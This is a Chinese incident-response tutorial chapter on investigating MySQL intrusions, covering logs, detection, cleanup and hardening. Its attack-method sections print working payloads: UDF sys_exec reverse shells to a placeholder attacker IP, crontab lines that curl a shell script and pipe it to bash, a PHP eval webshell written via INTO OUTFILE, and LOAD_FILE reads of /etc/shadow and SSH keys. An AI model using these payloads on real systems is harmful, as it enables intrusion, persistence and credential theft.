Linux应急响应 - 14 MySQL入侵分析

MySQL 入侵分析

本章聚焦 MySQL 数据库在应急响应中的排查要点,包括日志体系、常见入侵手法(UDF 提权、文件写入)和安全加固

关联章节:06-文件系统取证03-日志分析基础

1. MySQL 日志体系

MySQL 拥有多种日志类型,在应急响应中各有不同的价值

1.1 日志类型概览

日志类型 描述 应急价值 默认状态
General Log 记录所有 SQL 语句 ⭐⭐⭐⭐⭐ 最全面 关闭
Slow Query Log 记录慢查询 ⭐⭐ 关闭
Error Log 错误和启动信息 ⭐⭐⭐ 开启
Binary Log (binlog) 数据变更记录 ⭐⭐⭐⭐ 可还原操作 取决于配置
Relay Log 从节点复制日志 ⭐⭐ 仅从节点

1.2 General Log(通用查询日志)

General Log 是应急响应中最有价值的日志,记录所有连接和 SQL 语句

默认是关闭的——这是最遗憾的一点,很多入侵场景中没有开启此日志

检查和开启方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 检查是否开启
mysql -u root -p -e "SHOW VARIABLES LIKE 'general_log%';"

# 输出示例:
# +------------------+---------------------------+
# | Variable_name | Value |
# +------------------+---------------------------+
# | general_log | OFF |
# | general_log_file | /var/lib/mysql/hostname.log |
# +------------------+---------------------------+

# 临时开启(重启后失效)
mysql -u root -p -e "SET GLOBAL general_log = 'ON';"
mysql -u root -p -e "SET GLOBAL general_log_file = '/var/log/mysql/general.log';"

# 永久开启(修改配置文件)
# Ubuntu: /etc/mysql/mysql.conf.d/mysqld.cnf
# CentOS: /etc/my.cnf
# 在 [mysqld] 段添加:
# general_log = 1
# general_log_file = /var/log/mysql/general.log

General Log 分析示例:

1
2
3
4
5
6
7
8
9
10
# 查看最近的 SQL 操作
tail -100 /var/lib/mysql/hostname.log

# 查找可疑操作
grep -iE "INTO OUTFILE|INTO DUMPFILE|LOAD_FILE|system|exec|eval" /var/lib/mysql/hostname.log
grep -iE "CREATE FUNCTION|DROP FUNCTION|LOAD DATA" /var/lib/mysql/hostname.log
grep -iE "GRANT|CREATE USER|ALTER USER|SET PASSWORD" /var/lib/mysql/hostname.log

# 查看连接记录
grep "Connect" /var/lib/mysql/hostname.log | awk '{print $1, $2, $5}' | sort | uniq -c | sort -rn

1.3 Slow Query Log(慢查询日志)

慢查询日志记录执行时间超过阈值的 SQL 语句

在应急中,某些攻击操作(如 SELECT ... INTO OUTFILE)可能因为数据量大而触发慢查询记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检查是否开启
mysql -u root -p -e "SHOW VARIABLES LIKE 'slow_query%';"
mysql -u root -p -e "SHOW VARIABLES LIKE 'long_query_time';"

# 默认阈值通常是 10 秒

# 分析慢查询日志
# 日志位置
# Ubuntu: /var/log/mysql/mysql-slow.log
# CentOS: /var/lib/mysql/hostname-slow.log

# 使用 mysqldumpslow 工具分析
mysqldumpslow -s c -t 20 /var/log/mysql/mysql-slow.log

# 查找可疑的慢查询
grep -iE "OUTFILE|DUMPFILE|LOAD_FILE" /var/log/mysql/mysql-slow.log

1.4 Error Log(错误日志)

错误日志记录 MySQL 启动、关闭和运行时的错误信息

在应急响应中,可以发现:

异常的启动参数

UDF 加载失败的记录

权限相关的错误

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看错误日志位置
mysql -u root -p -e "SHOW VARIABLES LIKE 'log_error';"

# Ubuntu 默认位置
cat /var/log/mysql/error.log

# CentOS 默认位置
cat /var/log/mysqld.log
# 或
cat /var/log/mariadb/mariadb.log

# 分析错误日志
grep -iE "error|warning|fail|denied|udf|plugin" /var/log/mysql/error.log

1.5 Binary Log (binlog)

Binlog 记录所有修改数据的 SQL 语句(INSERT、UPDATE、DELETE 等)

这是事后还原攻击操作最重要的日志之一

Binlog 有三种格式:STATEMENTROWMIXED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 检查 binlog 配置
mysql -u root -p -e "SHOW VARIABLES LIKE '%log_bin%';"
mysql -u root -p -e "SHOW VARIABLES LIKE 'binlog_format';"

# 列出所有 binlog 文件
mysql -u root -p -e "SHOW BINARY LOGS;"

# 查看 binlog 内容
mysqlbinlog /var/lib/mysql/mysql-bin.000001

# 按时间范围查看
mysqlbinlog --start-datetime="2026-04-01 00:00:00" \
--stop-datetime="2026-04-02 00:00:00" \
/var/lib/mysql/mysql-bin.000001

# 查找可疑操作
mysqlbinlog /var/lib/mysql/mysql-bin.000001 | grep -iE "OUTFILE|DUMPFILE|CREATE FUNCTION|DROP FUNCTION|GRANT|CREATE USER"

# 以 SQL 格式输出(更易读)
mysqlbinlog --base64-output=DECODE-ROWS -v /var/lib/mysql/mysql-bin.000001

1.6 Ubuntu 与 CentOS 日志差异

项目 Ubuntu/Debian CentOS/RHEL
配置文件 /etc/mysql/mysql.conf.d/mysqld.cnf /etc/my.cnf/etc/my.cnf.d/
Error Log /var/log/mysql/error.log /var/log/mysqld.log
General Log /var/lib/mysql/<hostname>.log /var/lib/mysql/<hostname>.log
Slow Log /var/log/mysql/mysql-slow.log /var/lib/mysql/<hostname>-slow.log
Binlog /var/lib/mysql/mysql-bin.* /var/lib/mysql/mysql-bin.*
数据目录 /var/lib/mysql/ /var/lib/mysql/
服务名称 mysql mysqld(MySQL)/ mariadb(MariaDB)
默认发行版 MySQL MariaDB(CentOS 7+)

注意:CentOS 7+ 默认安装的是 MariaDB 而非 MySQL,两者在配置和日志路径上有细微差异

2. MySQL 入侵方式

2.1 UDF 提权后门(重点)

2.1.1 攻击原理

UDF(User-Defined Function)允许用户通过加载动态链接库(.so / .dll)来扩展 MySQL 的功能

攻击者利用 MySQL 的文件写入能力,将恶意 .so 文件写入 MySQL 的 plugin 目录

然后通过 CREATE FUNCTION 注册恶意函数,从而获得系统命令执行能力

前提条件

拥有 MySQL root 权限(或 FILE 权限 + INSERT 权限)

secure_file_priv 为空或指向可利用的目录

知道 plugin_dir 的路径

2.1.2 攻击步骤详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 第一步:确认 plugin 目录位置
mysql> SHOW VARIABLES LIKE 'plugin_dir';
# 通常是 /usr/lib/mysql/plugin/ (Ubuntu) 或 /usr/lib64/mysql/plugin/ (CentOS)

# 第二步:确认 secure_file_priv 配置
mysql> SHOW VARIABLES LIKE 'secure_file_priv';
# 如果为空字符串 '' —— 可以写入任意目录
# 如果为 NULL —— 不允许导入导出(攻击失败)
# 如果为指定路径 —— 只能在该路径操作

# 第三步:将恶意 .so 文件写入 plugin 目录
# 攻击者通常将 .so 文件的十六进制内容硬编码在 SQL 语句中
mysql> SELECT UNHEX('7F454C46...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 或者通过 LOAD DATA 从外部文件加载(需要 FILE 权限)

# 第四步:创建恶意函数
mysql> CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

# 第五步:执行系统命令
mysql> SELECT sys_eval('whoami');
mysql> SELECT sys_exec('id');
mysql> SELECT sys_eval('cat /etc/passwd');
# 反弹 shell
mysql> SELECT sys_exec('/bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1');

2.1.3 常见恶意 UDF 函数名

函数名 功能 来源
sys_exec 执行系统命令(无回显) sqlmap udf
sys_eval 执行系统命令(有回显) sqlmap udf
sys_get 获取环境变量 sqlmap udf
sys_set 设置环境变量 sqlmap udf
sys_bineval 执行二进制代码 sqlmap udf
cmdshell 命令执行 其他工具
backshell 反弹 shell 其他工具

2.1.4 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 1. 检查已注册的 UDF 函数(最直接的方法)
mysql -u root -p -e "SELECT * FROM mysql.func;"

# 正常情况下,这个表应该是空的
# 如果看到 sys_exec, sys_eval 等函数名,说明被植入了 UDF 后门

# 2. 检查 plugin 目录中的异常 .so 文件
mysql -u root -p -e "SHOW VARIABLES LIKE 'plugin_dir';"

# 然后检查该目录
ls -la /usr/lib/mysql/plugin/ # Ubuntu
ls -la /usr/lib64/mysql/plugin/ # CentOS

# 查看 .so 文件的修改时间
ls -lt /usr/lib/mysql/plugin/*.so

# 与包管理器记录的文件对比
# Ubuntu
dpkg -L mysql-server-core-* | grep plugin
# CentOS
rpm -ql mysql-community-server | grep plugin

# 如果发现了包管理器记录中不存在的 .so 文件,很可能是恶意的

# 3. 使用 file 命令检查 .so 文件
file /usr/lib/mysql/plugin/*.so

# 4. 使用 strings 查看可疑 .so 文件中的字符串
strings /usr/lib/mysql/plugin/udf.so | grep -iE "exec|system|popen|shell|cmd"

# 5. 检查 .so 文件的哈希值,在 VirusTotal 等平台查询
md5sum /usr/lib/mysql/plugin/udf.so
sha256sum /usr/lib/mysql/plugin/udf.so

2.2 INTO OUTFILE / INTO DUMPFILE(文件写入)

2.2.1 写入 Webshell

这是最常见的 MySQL 文件写入攻击——通过 SQL 注入或直接连接写入 webshell

1
2
3
4
5
6
7
8
# 攻击者执行的 SQL
mysql> SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

# 或使用 DUMPFILE(不换行,适合二进制文件)
mysql> SELECT UNHEX('3C3F706870...') INTO DUMPFILE '/var/www/html/shell.php';

# 更隐蔽的变体——base64 编码
mysql> SELECT FROM_BASE64('PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+') INTO DUMPFILE '/var/www/html/config.php';

2.2.2 写入 Crontab

1
2
3
4
5
# 攻击者尝试写入定时任务
mysql> SELECT '* * * * * root bash -i >& /dev/tcp/攻击者IP/4444 0>&1' INTO OUTFILE '/etc/cron.d/backdoor';

# 或写入用户 crontab
mysql> SELECT '\n*/5 * * * * curl http://恶意IP/shell.sh | bash\n' INTO OUTFILE '/var/spool/cron/root';

2.2.3 前提条件

secure_file_priv 的值决定了是否可以写入以及写入哪里

1
2
3
4
5
6
7
# 检查 secure_file_priv
mysql -u root -p -e "SHOW VARIABLES LIKE 'secure_file_priv';"

# 三种情况:
# 1. 空字符串 '' —— 不限制,可以写入任意目录(最危险)
# 2. 指定路径(如 /var/lib/mysql-files/)—— 只能在该目录操作
# 3. NULL —— 完全禁止 INTO OUTFILE/DUMPFILE/LOAD_FILE

MySQL 进程的文件系统权限也会影响写入成功与否

1
2
3
4
5
6
# 检查 MySQL 运行用户
ps aux | grep mysqld
# 通常是 mysql 用户

# 检查目标目录对 mysql 用户的可写性
sudo -u mysql test -w /var/www/html/ && echo "可写" || echo "不可写"

2.2.4 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 检查 web 目录中最近新增的文件
find /var/www/ -type f -newer /etc/passwd -ls 2>/dev/null
find /var/www/ -type f -mtime -7 -ls 2>/dev/null

# 2. 检查文件所有者——MySQL 写入的文件所有者是 mysql 用户
find /var/www/ -user mysql -ls 2>/dev/null

# 3. 在 General Log 中查找 OUTFILE/DUMPFILE 操作
grep -iE "INTO OUTFILE|INTO DUMPFILE" /var/lib/mysql/*.log 2>/dev/null

# 4. 在 binlog 中查找
mysqlbinlog /var/lib/mysql/mysql-bin.* 2>/dev/null | grep -iE "OUTFILE|DUMPFILE"

# 5. 检查 crontab 中是否有 MySQL 写入的异常文件
find /var/spool/cron/ /etc/cron.d/ -user mysql -ls 2>/dev/null

2.3 MySQL 提权与文件读取

2.3.1 LOAD_FILE 读取系统文件

当 MySQL 用户拥有 FILE 权限时,可以读取系统文件

1
2
3
4
5
6
7
# 攻击者可能读取的敏感文件
mysql> SELECT LOAD_FILE('/etc/passwd');
mysql> SELECT LOAD_FILE('/etc/shadow');
mysql> SELECT LOAD_FILE('/root/.ssh/id_rsa');
mysql> SELECT LOAD_FILE('/root/.bash_history');
mysql> SELECT LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf');
mysql> SELECT LOAD_FILE('/var/www/html/config.php'); -- 获取其他数据库连接信息

2.3.2 LOAD DATA INFILE

将本地文件内容导入 MySQL 表中

1
2
3
mysql> CREATE TABLE temp_table (content TEXT);
mysql> LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE temp_table;
mysql> SELECT * FROM temp_table;

检查是否允许 LOAD DATA LOCAL:

1
2
mysql -u root -p -e "SHOW VARIABLES LIKE 'local_infile';"
# ON = 允许,OFF = 禁止

2.3.3 MOF 提权(Windows,了解即可)

MOF(Managed Object Format)提权是 Windows 平台的攻击手法

原理:向 C:/Windows/System32/wbem/mof/ 写入 .mof 文件

WMI 服务会自动编译执行 MOF 文件中的代码

在 Linux 应急中不适用,但了解可以帮助理解 MySQL 攻击的全貌

2.4 SQL 注入导致的入侵

在实际应急中,MySQL 入侵的入口很多时候是 Web 应用的 SQL 注入漏洞

SQL 注入 → 获取 MySQL 账号密码 → 文件写入/UDF 提权

排查思路:

1
2
3
4
5
6
7
8
9
10
11
# 1. 检查 Web 应用日志中的 SQL 注入痕迹
grep -iE "union.*select|sleep\(|benchmark\(|load_file|into.*outfile" /var/log/nginx/access.log
grep -iE "union.*select|sleep\(|benchmark\(|load_file|into.*outfile" /var/log/apache2/access.log
grep -iE "union.*select|sleep\(|benchmark\(|load_file|into.*outfile" /var/log/httpd/access_log

# 2. 检查是否有 sqlmap 的 User-Agent
grep -i "sqlmap" /var/log/nginx/access.log 2>/dev/null
grep -i "sqlmap" /var/log/apache2/access.log 2>/dev/null

# 3. 检查异常频繁的请求
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

3. 排查方法

3.1 用户审计

检查 MySQL 用户列表和权限是排查的第一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 查看所有用户和认证信息
mysql -u root -p -e "SELECT user, host, authentication_string, plugin, account_locked FROM mysql.user;"

# MySQL 5.6 及之前版本使用 password 字段
mysql -u root -p -e "SELECT user, host, password FROM mysql.user;"

# 检查空密码用户
mysql -u root -p -e "SELECT user, host FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;"

# 检查可以从任意主机连接的用户
mysql -u root -p -e "SELECT user, host FROM mysql.user WHERE host = '%';"

# 查看特定用户的权限
mysql -u root -p -e "SHOW GRANTS FOR 'root'@'localhost';"
mysql -u root -p -e "SHOW GRANTS FOR 'root'@'%';"

# 列出所有用户的权限
mysql -u root -p -e "
SELECT DISTINCT GRANTEE, PRIVILEGE_TYPE, IS_GRANTABLE
FROM information_schema.USER_PRIVILEGES
ORDER BY GRANTEE;"

# 重点关注以下权限:
# FILE — 可以读写系统文件
# SUPER — 超级权限
# PROCESS — 可以查看所有进程
# CREATE ROUTINE — 可以创建存储过程
# GRANT OPTION — 可以授权给其他用户

3.2 UDF 后门检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 查看已注册的用户自定义函数
mysql -u root -p -e "SELECT * FROM mysql.func;"

# 如果有可疑函数,查看详情
mysql -u root -p -e "SELECT name, type, dl FROM mysql.func;"
# name: 函数名(sys_exec, sys_eval 等)
# type: 函数类型
# dl: 动态链接库文件名(udf.so 等)

# 检查 plugin 目录
PLUGIN_DIR=$(mysql -u root -p -N -e "SHOW VARIABLES LIKE 'plugin_dir';" | awk '{print $2}')
echo "Plugin 目录: $PLUGIN_DIR"
ls -la "$PLUGIN_DIR"

# 对比系统包管理器记录
# Ubuntu
dpkg -S "$PLUGIN_DIR" 2>/dev/null
# CentOS
rpm -qf "$PLUGIN_DIR"/* 2>/dev/null

# 查看可疑 .so 文件的详细信息
for so_file in "$PLUGIN_DIR"/*.so; do
echo "=== $so_file ==="
file "$so_file"
md5sum "$so_file"
stat "$so_file"
strings "$so_file" | grep -iE "exec|system|popen|shell|cmd" | head -5
done

3.3 全局变量检查

一些关键的安全相关变量需要重点检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 一次性检查所有关键安全变量
mysql -u root -p -e "
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'local_infile';
SHOW VARIABLES LIKE 'general_log%';
SHOW VARIABLES LIKE 'log_bin%';
SHOW VARIABLES LIKE 'plugin_dir';
SHOW VARIABLES LIKE 'datadir';
SHOW VARIABLES LIKE 'skip_networking';
SHOW VARIABLES LIKE 'bind_address';
SHOW VARIABLES LIKE 'port';
SHOW VARIABLES LIKE 'have_ssl';
SHOW VARIABLES LIKE 'require_secure_transport';
"

# 安全变量检查清单
# | 变量 | 安全值 | 说明 |
# | secure_file_priv | NULL | 禁止文件操作 |
# | local_infile | OFF | 禁止 LOAD DATA LOCAL |
# | bind_address | 127.0.0.1 | 仅本地监听 |
# | skip_networking | ON | 禁止网络连接(仅 socket) |
# | have_ssl | YES | 支持 SSL |

3.4 日志综合分析

将多种日志结合分析,还原攻击时间线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 综合排查脚本
echo "===== MySQL 入侵排查 ====="

echo "--- 1. 检查 MySQL 版本 ---"
mysql -u root -p -e "SELECT VERSION();"

echo "--- 2. 检查监听地址 ---"
ss -tlnp | grep mysql

echo "--- 3. 检查用户列表 ---"
mysql -u root -p -e "SELECT user, host, plugin FROM mysql.user;"

echo "--- 4. 检查 UDF ---"
mysql -u root -p -e "SELECT * FROM mysql.func;"

echo "--- 5. 检查安全变量 ---"
mysql -u root -p -e "SHOW VARIABLES LIKE 'secure_file_priv';"
mysql -u root -p -e "SHOW VARIABLES LIKE 'local_infile';"

echo "--- 6. 检查 General Log ---"
mysql -u root -p -e "SHOW VARIABLES LIKE 'general_log%';"

echo "--- 7. 检查当前连接 ---"
mysql -u root -p -e "SHOW PROCESSLIST;"

echo "--- 8. 检查最近执行的操作 ---"
mysql -u root -p -e "SHOW BINARY LOGS;" 2>/dev/null

攻击时间线还原思路:

  1. 从 Web 日志中找到 SQL 注入的时间点

  2. 在 General Log 中找到对应时间的 SQL 语句

  3. 通过 binlog 还原数据变更操作

  4. 通过文件系统时间戳确认 webshell/UDF 的写入时间

  5. 通过系统日志关联后续操作(提权、横向移动等)

3.5 进程与连接排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查 MySQL 进程
ps aux | grep mysql

# 检查 MySQL 启动参数(可能被篡改)
cat /proc/$(pgrep mysqld)/cmdline | tr '\0' ' '

# 检查当前数据库连接
mysql -u root -p -e "SHOW PROCESSLIST;"

# 查看完整的 SQL 语句
mysql -u root -p -e "SHOW FULL PROCESSLIST;"

# 检查谁连接了 MySQL(3306 端口)
ss -tnp | grep 3306
netstat -tnp | grep 3306

# 检查异常的外部连接
ss -tnp | grep 3306 | grep -v "127.0.0.1" | grep -v "::1"

4. 应急处置

4.1 删除恶意 UDF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. 查看恶意函数
mysql -u root -p -e "SELECT * FROM mysql.func;"

# 2. 删除恶意函数
mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_exec;"
mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_eval;"
mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_get;"
mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_set;"
mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_bineval;"
mysql -u root -p -e "DROP FUNCTION IF EXISTS cmdshell;"
mysql -u root -p -e "DROP FUNCTION IF EXISTS backshell;"

# 3. 删除恶意 .so 文件
PLUGIN_DIR=$(mysql -u root -p -N -e "SHOW VARIABLES LIKE 'plugin_dir';" | awk '{print $2}')
# 先备份取证
cp "$PLUGIN_DIR/udf.so" /tmp/evidence_udf.so 2>/dev/null
rm "$PLUGIN_DIR/udf.so"

# 4. 再次确认
mysql -u root -p -e "SELECT * FROM mysql.func;"
ls -la "$PLUGIN_DIR"

4.2 删除写入的恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 删除 webshell(先备份取证)
mkdir -p /tmp/evidence/

# 查找并备份 mysql 用户创建的 web 文件
find /var/www/ -user mysql -exec cp {} /tmp/evidence/ \; -exec echo "备份: {}" \;

# 确认后删除
find /var/www/ -user mysql -exec rm -v {} \;

# 删除写入的 crontab
find /var/spool/cron/ /etc/cron.d/ -user mysql -exec rm -v {} \;

# 检查并清理其他可能被写入的文件
find / -user mysql -not -path "/var/lib/mysql/*" -not -path "/proc/*" -ls 2>/dev/null

4.3 修改数据库密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 修改 root 密码
mysql -u root -p -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewStr0ngP@ssw0rd!';"

# MySQL 5.6 及之前
mysql -u root -p -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('NewStr0ngP@ssw0rd!');"

# 删除不需要的用户
mysql -u root -p -e "DROP USER 'suspicious_user'@'%';"

# 删除匿名用户
mysql -u root -p -e "DELETE FROM mysql.user WHERE user = '';"

# 删除允许远程连接的 root
mysql -u root -p -e "DELETE FROM mysql.user WHERE user = 'root' AND host NOT IN ('localhost', '127.0.0.1', '::1');"

# 刷新权限
mysql -u root -p -e "FLUSH PRIVILEGES;"

4.4 MySQL 安全加固

配置文件加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 编辑 MySQL 配置文件
# Ubuntu: /etc/mysql/mysql.conf.d/mysqld.cnf
# CentOS: /etc/my.cnf

# [mysqld] 段添加或修改以下内容:

# 1. 绑定地址——仅本地监听
bind-address = 127.0.0.1

# 2. 禁止文件操作
secure_file_priv = NULL
local_infile = 0

# 3. 禁止符号链接
symbolic-links = 0

# 4. 开启日志
general_log = 1
general_log_file = /var/log/mysql/general.log
log_bin = /var/lib/mysql/mysql-bin

# 5. 设置密码策略(MySQL 5.7+)
validate_password_policy = STRONG
validate_password_length = 12

# 6. 限制连接数
max_connections = 100
max_user_connections = 10

# 7. 设置超时
wait_timeout = 300
interactive_timeout = 300

权限最小化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 运行 mysql_secure_installation(首次安装后必做)
mysql_secure_installation

# 该工具会引导你:
# 1. 设置 root 密码
# 2. 删除匿名用户
# 3. 禁止 root 远程登录
# 4. 删除测试数据库
# 5. 刷新权限

# 为应用程序创建最小权限用户
mysql -u root -p -e "
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'AppP@ssw0rd!';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_db.* TO 'app_user'@'localhost';
-- 不要给 FILE, SUPER, PROCESS 等权限
FLUSH PRIVILEGES;
"

# 撤销不需要的权限
mysql -u root -p -e "REVOKE FILE ON *.* FROM 'some_user'@'%';"

防火墙限制

1
2
3
4
5
6
7
8
9
10
# iptables
iptables -A INPUT -p tcp --dport 3306 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -j DROP

# firewalld
firewall-cmd --permanent --remove-service=mysql 2>/dev/null
firewall-cmd --reload

# ufw
ufw deny 3306

4.5 加固检查清单

检查项 命令 期望结果
监听地址 SHOW VARIABLES LIKE 'bind_address' 127.0.0.1
secure_file_priv SHOW VARIABLES LIKE 'secure_file_priv' NULL
local_infile SHOW VARIABLES LIKE 'local_infile' OFF
空密码用户 SELECT user,host FROM mysql.user WHERE authentication_string='' 空结果
远程 root SELECT host FROM mysql.user WHERE user='root' 仅 localhost
UDF 函数 SELECT * FROM mysql.func 空结果
运行用户 ps aux | grep mysqld mysql 用户
端口暴露 ss -tlnp | grep 3306 仅本地监听
日志开启 SHOW VARIABLES LIKE 'general_log' ON
binlog SHOW VARIABLES LIKE 'log_bin' ON

5. 实战练习

5.1 练习场景

场景 1:UDF 后门排查

接到告警:服务器上发现异常进程,疑似通过 MySQL UDF 后门执行

排查步骤:

  1. 检查 mysql.func 表,发现 sys_eval 函数

  2. 找到恶意 .so 文件,计算哈希

  3. 在 General Log 中查找 CREATE FUNCTION 语句和攻击时间线

  4. 追溯攻击入口(SQL 注入 or 弱密码)

  5. 清除后门并加固

场景 2:Webshell 写入排查

Web 应用被挂马,发现可疑 PHP 文件

排查步骤:

  1. 检查可疑文件的所有者(mysql 用户)

  2. 确认 secure_file_priv 配置

  3. 在日志中查找 INTO OUTFILE 操作

  4. 追溯 SQL 注入入口

  5. 清除 webshell 并修复漏洞

场景 3:数据泄露排查

怀疑数据库被拖库

排查步骤:

  1. 分析 General Log 中的 SELECT 语句

  2. 检查是否有 INTO OUTFILE 导出数据

  3. 分析 binlog 还原操作时间线

  4. 检查网络流量中的大量数据传输

  5. 确定泄露范围并启动通知流程

5.2 排查 Checklist

MySQL 入侵排查清单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
□ 确认 MySQL 版本和配置
□ 检查监听地址(是否暴露公网)
□ 检查所有用户和权限
□ 检查空密码用户和远程 root
□ 检查 UDF 函数(mysql.func)
□ 检查 plugin 目录异常 .so 文件
□ 检查 secure_file_priv 配置
□ 检查 General Log 中的可疑 SQL
□ 分析 binlog 还原操作
□ 检查 web 目录中 mysql 用户创建的文件
□ 检查 crontab 异常
□ 追溯攻击入口(SQL 注入 / 弱密码)
□ 清除恶意函数和文件
□ 修改密码并加固
□ 防火墙限制 3306 端口
□ 开启审计日志

上一章 目录 下一章
13-Redis未授权访问应急 Linux应急响应 14.5-挖矿病毒应急